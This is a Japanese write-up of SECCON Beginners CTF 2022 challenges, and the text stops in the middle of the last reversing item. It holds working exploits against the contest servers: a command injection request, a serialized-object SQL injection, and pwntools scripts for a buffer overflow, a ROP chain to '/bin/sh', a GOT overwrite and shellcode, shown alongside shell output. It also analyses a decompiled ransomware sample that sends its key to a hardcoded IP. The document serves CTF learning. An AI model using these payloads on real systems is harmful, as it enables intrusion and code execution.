SECCON Beginners 2022 Writeup
2022/6/4 14:00 JST から 2022/6/5 14:00 JSTに開催されたSECCON Beginners CTF 2022 のWriteupです。
個人チームで参加し、2097pt獲得して16/891位でした。
Web
Util
入力したIPアドレスにPingを送ってくれるサービスです。 main.goを見ると、OSコマンドインジェクションを行えそうな箇所があります。
r.POST("/util/ping", func(c *gin.Context) { var param IP if err := c.Bind(¶m); err != nil { c.JSON(400, gin.H{"message": "Invalid parameter"}) return } commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2" result, _ := exec.Command("sh", "-c", commnd).CombinedOutput() c.JSON(200, gin.H{ "result": string(result), }) })
IPアドレスの欄に127.0.0.1 && cat flag*
などを入力してcheckを押してみるとInvalid IP address
と表示されてしまいました。
ページのソースからcheckを押したときの処理を確認すると、IPアドレスをチェックしている箇所が見つかります。
if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) { ... } else { document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>"; }
この処理はクライアント側で行っているため、直接https://util.quals.beginners.seccon.jp/util/ping
にPOSTリクエストを送信すると、これを回避できます。
curl -X POST -H "Content-Type: application/json" -d '{"address":"127.0.0.1 && cat ../flag*"}' https://util.quals.beginners.seccon.jp/util/pi ng {"result":"PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.067 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.067/0.067/0.067 ms\nctf4b{al1_0vers_4re_i1l}\n"}
textex
texの\input{<filename>}
を使うと、ほかのファイルを読み込むことができるため\input{./flag}
で終わり。と言いたいところですが、texソースコード内にflag
があると、ソースコードをすべて消されてしまいます。
そこで、\newcommand
を使ってこれを回避します。\newcommand\x{fl}
のようにすると、本文中で\x
とした部分がfl
に置き換わります。そのため、\newcommand\x{fl}
,\newcommand\y{ag}
の二つを書いておけば\x\y
とするだけでflagを文書中で使えるようになります。
よって、
\documentclass{article} \begin{document} \newcommand\x{fl} \newcommand\y{ag} \input{./\x\y} \end{document}
とすればよさそうなのですが、これではエラーが発生してしまいます。
flagの形式はctf4b{hogehoge_fugafuga}
であるため、texの制御文字である_
が含まれています。
\input
を$
で囲って数式にしてやると_
が下付き文字として動作でき、エラーが発生しなくなります。
\documentclass{article} \begin{document} \newcommand\x{fl} \newcommand\y{ag} $ \input{./\x\y} $ \end{document}
{}
が消えているので復元し、下付き文字の前に_
を入れるとフラグになります。
ctf4b{15_73x_pr0n0unc3d_ch0u?}
gallery
handlers.goのIndexHandler
の23行目あたりに見るからに怪しい箇所があります。
// replace suspicious chracters fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "") fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
この部分より、fileExtension
をflag
にすると何か起きそうです。
ReplaceAllはflag
となっている部分を消すだけなので、flaflagg
のような文字列を渡すといい感じに消えてflag
になります。
https://gallery.quals.beginners.seccon.jp/?file_extension=flaflagg
にアクセスすると、flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
というフラグっぽいファイルが出てきました。
開いてみると?
が大量に表示され、フラグが出てきませんでした。これは、MyResponseWriteがデータのサイズが10240byte以上の時、全て?
に置き換えられるからです。
func (w *MyResponseWriter) Write(data []byte) (int, error) { filledVal := []byte("?") length := len(data) if length > w.lengthLimit { w.ResponseWriter.Write(bytes.Repeat(filledVal, length)) return length, nil } w.ResponseWriter.Write(data[:length]) return length, nil } func middleware() func(http.Handler) http.Handler { return func(h http.Handler) http.Handler { return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) { h.ServeHTTP(&MyResponseWriter{ ResponseWriter: rw, lengthLimit: 10240, // SUPER SECURE THRESHOLD }, r) }) } }
そこで、Range requestを行うことでデータのサイズを調整し?
に変えられないようにします。
import requests url = "https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf" res = requests.get(url) size = len(res.text) f = open("flag.pdf", "wb") headers = {"Range": f"bytes=0-6000"} res = requests.get(url, headers=headers) data = res.content f.write(data) headers = {"Range": f"bytes=6001-"} res = requests.get(url, headers=headers) data = res.content f.write(data) f.close()
Serial
SQL Injectionの問題です。
database.phpのfindUserByNameにSQL Injecitonできそうな部分があります。
public function findUserByName($user = null) { if (!isset($user->name)) { throw new Exception('invalid user name: ' . $user->user); } $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1"; $result = $this->_con->query($sql); if (!$result) { throw new Exception('failed query for findUserByNameOld ' . $sql); } while ($row = $result->fetch_assoc()) { $user = new User($row['id'], $row['name'], $row['password_hash']); } return $user; }
$user->name
をhoge' UNION SELECT body,"name","hash" FROM flags;#
のようにすると、
SELECT id, name, password_hash FROM users WHERE name = 'hoge' UNION SELECT body,"name","hash" FROM flags;#
というSQL文が実行され、idの値がフラグとなっているユーザーでログインできそうです。
しかし、signup.phpからユーザーを作成する際に'
やUNION
などがユーザー名に含まれていると?
に置換されてしまいます。
class User { private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag"); public $id; public $name; public $password_hash; public function __construct($id = null, $name = null, $password_hash = null) { $this->id = htmlspecialchars($id); $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name)); $this->password_hash = $password_hash; } public function __toString() { return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash; } public function isValid() { return isset($this->id) && isset($this->name) && isset($this->password_hash); } }
そこで、login関数に着目します。
function login() { if (empty($_COOKIE["__CRED"])) { return false; } $user = unserialize(base64_decode($_COOKIE['__CRED'])); // check if the given user exists try { $db = new Database(); $storedUser = $db->findUserByName($user); } catch (Exception $e) { die($e->getMessage()); } if ($user->password_hash === $storedUser->password_hash) { // update stored user with latest information // die($storedUser); echo "ok"; setcookie("__CRED", base64_encode(serialize($storedUser))); return true; } return false; }
cookieに__CRED
がセットされていれば、それをunserializeして$user
としています。そのため、__CRED
を書き換えることで任意のUserオブジェクトを作成することができます。
ユーザー名がadmin' UNION SELECT body,'admin','passhash' FROM flags;#
のUserを__CRED
にセットし、ログインすることでidがフラグとなっているユーザーの__CRED
が手に入りました。
以下の文字列はfindUserByNameの引数として与えられたとき、idがフラグになっているユーザーを追加するSQLiを実行するUserオブジェクトをserializeしたものです。
O:4:"User":3:{s:2:"id";s:4:"6355";s:4:"name";s:108:"admin' UNION SELECT body,'admin','$2y$10$611xOAF51kN2/6xf7SH7ce7yPxVBxJ9dSHviO/Exkp63Utu/n8WUK' FROM flags;#";s:13:"password_hash";s:60:"$2y$10$611xOAF51kN2/6xf7SH7ce7yPxVBxJ9dSHviO/Exkp63Utu/n8WUK";}7
これをbase64エンコードし、__CRED
にセットしてページを更新すると__CRED
が以下の文字列に変化しました。
O:4:"User":3:{s:2:"id";s:43:"ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}";s:4:"name";s:5:"admin";s:13:"password_hash";s:60:"$2y$10$611xOAF51kN2/6xf7SH7ce7yPxVBxJ9dSHviO/Exkp63Utu/n8WUK";}
idからフラグがctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}
であることがわかります。
misc
phisher
Unicode一覧やhomograph generatorとにらめっこしながら、一文字ずつ地道に求めるとŵŵŵ․ė×āⅿрⅼе․ćŏⅿ
で上手くいきました。
$ nc phisher.quals.beginners.seccon.jp 44322 _ _ _ ____ __ _ __ | |__ (_)___| |__ ___ _ __ / /\ \ / / | '_ \| '_ \| / __| '_ \ / _ \ '__| / / \ \/ / | |_) | | | | \__ \ | | | __/ | \ \ / /\ \ | .__/|_| |_|_|___/_| |_|\___|_| \_\/_/ \_\ |_| FQDN: ŵŵŵ․ė×āⅿрⅼе․ćŏⅿ ctf4b{n16h7_ph15h1n6_15_600d}
H2
Wiresharkで与えられたpcapファイルを開き、http2.type == 1
でフィルタをかけて適当に眺めていると200 OK
一つだけLengthの値が大きくなっているパケットが見つかりました。そのパケットのx-flag
にフラグctf4b{http2_uses_HPACK_and_huffm4n_c0ding}
が書かれていました。
hitchhike4b
よくわからなかったので適当に__main__
と入力するとフラグの前半部分が手に入りました。
help> __main__ Help on module __main__: NAME __main__ DATA __annotations__ = {} flag1 = 'ctf4b{53cc0n_15_1n_m' FILE /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
modulesを実行してみるとapp_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
という怪しい名前のモジュールが見つかったので、2回入力してみると後半部分のフラグが手に入りました。
help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc: NAME app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc DATA flag2 = 'y_34r5_4nd_1n_my_3y35}' FILE /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}
Pwn
BeginnersBof
バッファオーバーフローでリターンアドレスをwinに書き換えるだけです。
from pwn import * file_dir = "./chall" elf = ELF(file_dir) win_addr = elf.symbols["win"] offset = 40 #p = process(file_dir) p = remote("beginnersbof.quals.beginners.seccon.jp", 9000) payload = b'A' * offset payload += p64(win_addr) p.sendline(b"100") p.sendline(payload) p.interactive()
$ python3 solve.py python3 pwn_tmpl.py [*] '/home/miso/ctf/ctf4b_2022/pwn/BeginnersBof/chall' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to beginnersbof.quals.beginners.seccon.jp on port 9000: Done [*] Switching to interactive mode How long is your name? What's your name? Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe6@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!} Segmentation fault
raindrop
show_stack
でsaved rbpが手に入るため、そこからbufferのアドレスを計算できます。
あとは、適当にROPを組むとsystem("/bin/sh")
できます。
from pwn import * elf = ELF("./chall") call_system = 0x4011e5 rop_pop_rdi = 0x401453 p = remote("raindrop.quals.beginners.seccon.jp", 9001) p.recvuntil("0002 | ") saved_rbp = int(p.recvline().split()[0], 16) buf_addr = saved_rbp - 0x20 payload = b'/bin/sh\x00' payload += b'A' * (24 - len(payload)) payload += p64(rop_pop_rdi) payload += p64(buf_addr) payload += p64(call_system) p.send(payload) p.interactive()
$ python3 sol.py [*] '/home/miso/ctf/ctf4b_2022/pwn/raindrop/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to raindrop.quals.beginners.seccon.jp on port 9001: Done [*] Switching to interactive mode 000003 | 0x00000000004011ff <- saved ret addr 000004 | 0x0000000000000000 finish You can earn points by submitting the contents of flag.txt Did you understand? bye! stack dump... [Index] |[Value] ========+=================== 000000 | 0x0068732f6e69622f <- buf 000001 | 0x4141414141414141 000002 | 0x4141414141414141 <- saved rbp 000003 | 0x0000000000401453 <- saved ret addr 000004 | 0x00007fffd63fae60 finish $ ls chall flag.txt redir.sh welcome.txt $ cat flag.txt ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}
simplelist
メモの作成と編集、表示を行える実行ファイルが与えられます。 メモは単方向連結リストで実装されおり、list.hで以下のように定義されています。
#define CONTENT_SIZE 0x20 typedef struct memo { struct memo *next; char content[CONTENT_SIZE]; } Memo;
メモの作成と編集の処理を見ると、memo.content
への入力をgets
で行っているためBOFの脆弱性があります。これを利用して連続するmemoのnextを書き換えることで、好きなアドレスに好きな値を書き込めそうです。
メモを3つ作成した状況を考えます。
e[0] e[1] e[2] +--------+ +--------+ +--------+ next |00601000| --> |00601030| --> | null | +--------+ +--------+ +--------+ content |Hello | |hogehoge| |foobar | | | | | | | | | | | | | | | | | | | +--------+ +--------+ +--------+
1番目のメモのcontentを更新する際に、CONTENT_SIZE
以上の長さの文字列を書き込むと2番目のメモのnextを書き換えることができます。
ここで、2番目のメモのnextをgot_exit - 8
に書き換えると次のようになります。今回、got_exit
のアドレスは0x403660
とし、0x403658
はatoiのgotとします。
e[0] e[1] e[2] +--------+ +--------+ +---------+ next |00601000| --> |00403658| --> |libc atoi| +--------+ +--------+ +---------+ content |Hello | |????????| |got exit | | | | | | | | | | | | | | | | | | | +--------+ +--------+ +------_--+
3番目のメモのnextがgot_exit-8
が指すアドレス(この場合、libcのatoiのアドレス)となり、e[2]->contentがgot_exit
を指すようになります。任意のメモのcontentが指すアドレスの内容は編集時に取得でき、自由に書き換えできます。libcのアドレスのリークを行い、GOT overwriteで適当なgotをone gadgetに書き換えるとシェルがとれました。
from pwn import * libc = ELF("./libc-2.33.so") elf = ELF("./chall") got_puts = elf.got['puts'] got_setvbuf = elf.got['setvbuf'] plt_exit = elf.plt['exit'] p = remote("simplelist.quals.beginners.seccon.jp", 9003) memo_num = 0 def create(content): global memo_num p.sendlineafter(b"> ", "1") p.sendlineafter(b": ", content) memo_num += 1 def edit(idx, content): p.sendlineafter(b"> ", "2") p.sendlineafter(b": ", str(idx)) p.recvuntil(b": ") old = p.recvline() p.sendlineafter(b": ", content) return old def show(): p.sendlineafter(b"> ", "3") p.recvuntil(b"memos\n") p.recvline() return p.recvlines(memo_num*2) create(b'hoge') create(b'fuga') create(b'foobar') # leak libc edit(0, b'A' * 0x28 + p64(got_setvbuf-8)) libc_setvbuf = u64(edit(2, b'AAAAA').strip().ljust(8, b'\x00')) libc.address = libc_setvbuf - libc.symbols['setvbuf'] one_gadgets = [0xde78c, 0xde78f, 0xde792] edit(0, b'A' * 0x28 + p64(got_puts-8)) edit(2, p64(libc.address + one_gadgets[1])) p.interactive()
snowdrop
NX disabledなのでスタックに大量のnopとシェルコードを乗っけて、そこに飛ばせばおしまいです。
from pwn import * context.binary = "./chall" elf = ELF("./chall") gets_plt = elf.symbols["_IO_gets"] bss_addr = elf.bss() + 0x1000 rop_pop_rdi = 0x00401b84 offset = 24 p = process("./chall") p = remote("snowdrop.quals.beginners.seccon.jp", 9002) p.recvuntil(b"0006 | ") saved_rbp = int(p.recvline().split()[0], 16) - 0x238 payload = b'A' * offset payload += p64(saved_rbp) payload += b'\x90' * 0x100 payload += asm(shellcraft.sh()) p.sendline(payload) p.interactive()
$ python3 solve.py [*] '/home/miso/ctf/ctf4b_2022/pwn/snowdrop/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [+] Starting local process './chall': pid 30522 [+] Opening connection to snowdrop.quals.beginners.seccon.jp on port 9002: Done [*] Switching to interactive mode 000007 | 0x0000000000401905 finish You can earn points by submitting the contents of flag.txt Did you understand? bye! stack dump... [Index] |[Value] ========+=================== 000000 | 0x4141414141414141 <- buf 000001 | 0x4141414141414141 000002 | 0x4141414141414141 <- saved rbp 000003 | 0x00007fff3da02940 <- saved ret addr 000004 | 0x9090909090909090 000005 | 0x9090909090909090 000006 | 0x9090909090909090 000007 | 0x9090909090909090 finish $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{h1ghw4y_t0_5h3ll}
Reversing
Quiz
stringsでフラグが見つかります。
$ strings quiz | grep ctf4b ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
WinTLS
radare2で静的解析をすると、check関数という名のそれっぽい関数が見つかりました。strncmpが呼び出されている部分にブレークポイントを仕掛けて動的解析すればよさそうです。
[0x004014d0]> s sym.check [0x00401550]> pdf ; CALL XREF from sym.t1 @ 0x4017c3 ; CALL XREF from sym.t2 @ 0x4018eb ┌ 77: sym.check (size_t arg4, size_t n); │ ; var int64_t var_8h @ rbp-0x8 │ ; arg size_t n @ rbp+0x10 │ ; arg size_t arg4 @ rcx │ 0x00401550 55 push rbp │ 0x00401551 4889e5 mov rbp, rsp │ 0x00401554 4883ec30 sub rsp, 0x30 │ 0x00401558 48894d10 mov qword [n], rcx ; arg4 │ 0x0040155c 8b05ce6a0000 mov eax, dword [0x00408030] ; [0x408030:4]=0 │ 0x00401562 89c1 mov ecx, eax │ 0x00401564 488b05717d00. mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue] ; [0x4092dc:8]=0x9566 reloc.KERNEL32.dll_TlsGetValue ; "f\x95" │ 0x0040156b ffd0 call rax │ 0x0040156d 488945f8 mov qword [var_8h], rax │ 0x00401571 488b45f8 mov rax, qword [var_8h] │ 0x00401575 41b800010000 mov r8d, 0x100 ; 256 │ 0x0040157b 488b5510 mov rdx, qword [n] ; size_t n │ 0x0040157f 4889c1 mov rcx, rax │ 0x00401582 e8c1190000 call sym.strncmp ; int strncmp(const char *s1, const char *s2, size_t n) │ 0x00401587 85c0 test eax, eax │ ┌─< 0x00401589 7507 jne 0x401592 │ │ 0x0040158b b800000000 mov eax, 0 │ ┌──< 0x00401590 eb05 jmp 0x401597 │ ││ ; CODE XREF from sym.check @ 0x401589 │ │└─> 0x00401592 b801000000 mov eax, 1 │ │ ; CODE XREF from sym.check @ 0x401590 │ └──> 0x00401597 4883c430 add rsp, 0x30 │ 0x0040159b 5d pop rbp └ 0x0040159c c3 ret
x64dbgで動的解析すると、テキストボックスに入力した文字列の一部がc4{fAPu8#FHh2+0cyo8$SWJH3a8X
と比較され、残りの部分がtfb%s$T9NvFyroLh@89a9yoC3rPy&3b}
と比較されていることが分かりました。
テキストボックスにabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567
を入力すると、
c4{fAPu8#FHh2+0cyo8$SWJH3a8X
とadfgjkmpsuvyzBEHJKNOQTWYZ235
tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}
とbcehilnoqrtwxACDFGILMPRSUVX01467
が比較されていたため、入力に対する正解の文字列の位置が分かりました。
flag1 = "c4{fAPu8#FHh2+0cyo8$SWJH3a8X" flag2 = "tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}" inp = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567" m1 = "adfgjkmpsuvyzBEHJKNOQTWYZ235" m2 = "bcehilnoqrtwxACDFGILMPRSUVX01467" flag = [""] * 0x100 for i, m in enumerate(m1): idx = inp.index(m) flag[idx] = flag1[i] for i, m in enumerate(m2): idx = inp.index(m) flag[idx] = flag2[i] print("".join(flag))
$ python3 solve.py ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}
recursive
初めに、与えられたバイナリをGhidaでデコンパイルしました。 check関数を見ると再帰的に自分自身を呼び出していることが分かります。
undefined8 check(char *param_1,int param_2) { int iVar1; int iVar2; int iVar3; size_t sVar4; char *pcVar5; sVar4 = strlen(param_1); iVar3 = (int)sVar4; if (iVar3 == 1) { if (table[param_2] != *param_1) { return 1; } } else { iVar1 = iVar3 / 2; pcVar5 = (char *)malloc((long)iVar1); strncpy(pcVar5,param_1,(long)iVar1); iVar2 = check(pcVar5,param_2); if (iVar2 == 1) { return 1; } pcVar5 = (char *)malloc((long)(iVar3 - iVar1)); strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1)); iVar3 = check(pcVar5,iVar1 * iVar1 + param_2); if (iVar3 == 1) { return 1; } } return 0; }
param_1の長さが1になったとき、param_1とtable[param_2]が一致しているか確認しています。この処理をPythonで書き直し、param_1の長さが1になった時のparam_2を記録していくとフラグが得られました。
table = [99, 116, 96, 42, 102, 52, 40, 43, 98, 99, 57, 53, 34, 46, 56, 49, 98, 123, 104, 109, 114, 51, 99, 47, 125, 114, 64, 58, 123, 38, 59, 53, 49, 52, 111, 100, 42, 60, 104, 44, 110, 39, 100, 109, 120, 119, 63, 108, 101, 103, 40, 121, 111, 41, 110, 101, 43, 106, 45, 123, 40, 96, 113, 47, 114, 114, 51, 124, 40, 36, 48, 43, 53, 115, 46, 122, 123, 95, 110, 99, 97, 117, 114, 36, 123, 115, 49, 118, 53, 37, 33, 112, 41, 104, 33, 113, 39, 116, 60, 61, 108, 64, 95, 56, 104, 57, 51, 95, 119, 111, 99, 52, 108, 100, 37, 62, 63, 99, 98, 97, 60, 100, 97, 103, 120, 124, 108, 60, 98, 47, 121, 44, 121, 96, 107, 45, 55, 123, 61, 59, 123, 38, 56, 44, 56, 117, 53, 36, 107, 107, 99, 125, 64, 55, 113, 64, 60, 116, 109, 48, 51, 58, 38, 44, 102, 49, 118, 121, 98, 39, 56, 37, 100, 121, 108, 50, 40, 103, 63, 55, 49, 55, 113, 35, 117, 62, 102, 119, 40, 41, 118, 111, 111, 36, 54, 103, 41, 58, 41, 95, 99, 95, 43, 56, 118, 46, 103, 98, 109, 40, 37, 36, 119, 40, 60, 104, 58, 49, 33, 99, 39, 114, 117, 118, 125, 64, 51, 96, 121, 97, 33, 114, 53, 38, 59, 53, 122, 95, 111, 103, 109, 48, 97, 57, 99, 50, 51, 115, 109, 119, 45, 46, 105, 35, 124, 119, 123, 56, 107, 101, 112, 102, 118, 119, 58, 51, 124, 51, 102, 53, 60, 101, 64, 58, 125, 42, 44, 113, 62, 115, 103, 33, 98, 100, 107, 114, 48, 120, 55, 64, 62, 104, 47, 53, 42, 104, 105, 60, 55, 52, 57, 39, 124, 123, 41, 115, 106, 49, 59, 48, 44, 36, 105, 103, 38, 118, 41, 61, 116, 48, 102, 110, 107, 124, 48, 51, 106, 34, 125, 55, 114, 123, 125, 116, 105, 125, 63, 95, 60, 115, 119, 120, 106, 117, 49, 107, 33, 108, 38, 100, 98, 33, 106, 58, 125, 33, 122, 125, 54, 42, 96, 49, 95, 123, 102, 49, 115, 64, 51, 100, 44, 118, 105, 111, 52, 53, 60, 95, 52, 118, 99, 95, 118, 51, 62, 104, 117, 51, 62, 43, 98, 121, 118, 113, 35, 35, 64, 102, 43, 41, 108, 99, 57, 49, 119, 43, 57, 105, 55, 35, 118, 60, 114, 59, 114, 114, 36, 117, 64, 40, 97, 116, 62, 118, 110, 58, 55, 98, 96, 106, 115, 109, 103, 54, 109, 121, 123, 43, 57, 109, 95, 45, 114, 121, 112, 112, 95, 117, 53, 110, 42, 54, 46, 125, 102, 56, 112, 112, 103, 60, 109, 45, 38, 113, 113, 53, 107, 51, 102, 63, 61, 117, 49, 125, 109, 95, 63, 110, 57, 60, 124, 101, 116, 42, 45, 47, 37, 102, 103, 104, 46, 49, 109, 40, 64, 95, 51, 118, 102, 52, 105, 40, 110, 41, 115, 50, 106, 118, 103, 48, 109, 52] indices = [] def rec(size, idx): x = size if x == 1: indices.append(idx) return i = x // 2 rec(i, idx) rec(size - i, i*i + idx) rec(0x26, 0) flag = b"" for idx in sorted(indices): flag += bytes([table[idx]]) print(flag)
$ python3 solve.py b'ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}'
Ransome
ransomeをGhidraでデコンパイルします。
undefined8 FUN_001016a2(void) { int __fd; int iVar1; void *__buf; FILE *__stream; undefined8 uVar2; char *pcVar3; size_t sVar4; void *pvVar5; FILE *__stream_00; long in_FS_OFFSET; size_t local_150; undefined local_128 [4]; in_addr_t local_124; char local_118 [264]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); __buf = malloc(0x11); FUN_00101606(0x10,__buf); __stream = fopen("ctf4b_super_secret.txt","r"); if (__stream == (FILE *)0x0) { puts("Can\'t open file."); uVar2 = 1; } else { pcVar3 = fgets(local_118,0x100,__stream); if (pcVar3 != (char *)0x0) { sVar4 = strlen(local_118); pvVar5 = malloc(sVar4 << 2); FUN_0010157f(__buf,local_118,pvVar5); __stream_00 = fopen("ctf4b_super_secret.txt.lock","w"); if (__stream_00 == (FILE *)0x0) { puts("Can\'t write file."); uVar2 = 1; goto LAB_0010191f; } local_150 = 0; while( true ) { sVar4 = strlen(local_118); if (local_150 == sVar4) break; fprintf(__stream_00,"\\x%02x",(ulong)*(byte *)(local_150 + (long)pvVar5)); local_150 = local_150 + 1; } fclose(__stream_00); } fclose(__stream); __fd = socket(2,1,0); if (__fd < 0) { perror("Failed to create socket"); uVar2 = 1; } else { local_128._0_2_ = 2; local_124 = inet_addr("192.168.0.225"); local_128._2_2_ = htons(0x1f90); iVar1 = connect(__fd,(sockaddr *)local_128,0x10); if (iVar1 == 0) { write(__fd,__buf,0x11); uVar2 = 0; } else { perror("Failed to connect"); uVar2 = 1; } } } LAB_0010191f: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; }
main関数をざっと見ると、ctf4b_super_secret.txtの内容に対してFUN_0010157f
で何らかの処理が行われていることが分かります。
undefined8 FUN_0010157f(undefined8 param_1,undefined8 param_2,undefined8 param_3) { long in_FS_OFFSET; undefined local_118 [264]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); FUN_00101381(param_1,local_118); FUN_0010145e(local_118,param_2,param_3); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
param_1は16byteの文字列、param_2はctf4b_super_secret.txtの内容、param_3はbufferです。
FUN_0010157f
の内部で呼び出されているFUN_00101381
やFUN_0010145e
を読むとRC4で暗号化処理を行っていることが分かります。
ransomが行う処理をまとめると次の通りです。
- 鍵を生成する
- ctf4b_super_secret.txtを開く
- ctf4b_super_secret.txtを256byteずつRC4で暗号化する
- 暗号化したデータをctf4b_super_secret.txt.lockに書き込む
後は鍵を手に入れるだけです。ransomやctf4b_super_secret.txt.lockと一緒に与えられたtcpdump.pcapをWiresharkで開き、TCPストリームを追跡するとrgUAvvyfyApNPEYg
という文字列が得られました。長さが16文字でアルファベットのみで構成されているため、この文字列がRC4の鍵だと考えられます。
from Crypto.Cipher import ARC4 enc = bytes.fromhex(open("ctf4b_super_secret.txt.lock").read().replace("\\x", "")) key = b"rgUAvvyfyApNPEYg" cipher = ARC4.new(key) print(cipher.decrypt(enc))
$ python3 solve.py b'ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}\n'
please not trace me
与えられたバイナリをGhidraでデコンパイルします。
undefined8 main(undefined8 param_1,char **param_2) { int iVar1; long lVar2; long in_FS_OFFSET; uint local_20; char *local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); lVar2 = syscall(0x13f,&DAT_00102004,0); iVar1 = (int)lVar2; if (iVar1 == -1) { err(1,"Can\'t unpack"); } for (local_20 = 0; local_20 < binary_len; local_20 = local_20 + 1) { binary[local_20] = binary[local_20] ^ 0x16; } write(iVar1,binary,(ulong)binary_len); local_18 = (char *)0x0; iVar1 = fexecve(iVar1,param_2,&local_18); if (iVar1 == -1) { err(1,"Can\'t execute"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
大まかにまとめると、次の処理を行っています。
- syscallでmemfd_createを実行し、無名ファイルを作成する
- バイナリのアンパック
- fexecveでアンパックしたバイナリを実行
このアンパック処理をpythonで行い、実際に実行されているバイナリを手に入れました。
import lief elf = lief.parse("please_not_debug_me") bin_sym = elf.get_symbol("binary") bin_addr = bin_sym.value bin_size = bin_sym.size packed_binary = elf.get_content_from_virtual_address(bin_addr, bin_size) binary = bytes([x ^ 0x16 for x in packed_binary]) with open("unpacked", "wb") as f: f.write(binary)
次にアンパックしたバイナリをGhidraでデコンパイルし、check関数の処理を見ました。
void check(char *param_1,undefined8 param_2,undefined8 param_3,uchar *param_4) { long in_FS_OFFSET; int local_a8; uint local_a4; FILE *local_a0; undefined8 local_98; undefined8 local_90; undefined8 local_88; undefined8 local_80; undefined8 local_78; undefined8 local_70; undefined8 local_68; undefined4 local_60; undefined2 local_5c; undefined local_5a; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined4 local_20; undefined2 local_1c; undefined local_1a; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_a8 = 0; local_98 = 0; local_90 = 0; local_88 = 0; local_80 = 0; local_78 = 0; local_70 = 0; local_68 = 0; local_60 = 0; local_5c = 0; local_5a = 0; local_58 = 0; local_50 = 0; local_48 = 0; local_40 = 0; local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; local_1c = 0; local_1a = 0; local_a0 = (FILE *)0x0; do { switch(local_a8) { case 0: if ((_DAT_00105090 & 0xff) == 0xcc) { fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr); /* WARNING: Subroutine does not return */ exit(1); } local_a0 = fopen(param_1,"r"); break; case 1: if (local_a0 == (FILE *)0x0) { err(1,"fopen(\"%s\", \"r\")",param_1); } break; case 2: if ((___cxa_finalize & 0xff) == 0xcc) { fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr); /* WARNING: Subroutine does not return */ exit(1); } fgets((char *)&local_98,0x3f,local_a0); break; case 3: for (local_a4 = 0; (int)local_a4 < 0x28; local_a4 = local_a4 + 1) { param_4 = (uchar *)(ulong)((byte)KEY[(int)local_a4] ^ local_a4); KEY[(int)local_a4] = (char)((byte)KEY[(int)local_a4] ^ local_a4); } break; case 4: RC4((RC4_KEY *)KEY,(size_t)&local_98,(uchar *)&local_58,param_4); break; case 5: if ((___gmon_start__ & 0xff) == 0xcc) { fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr); /* WARNING: Subroutine does not return */ exit(1); } memcmp(ENC,&local_58,0x3f); if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return; } /* 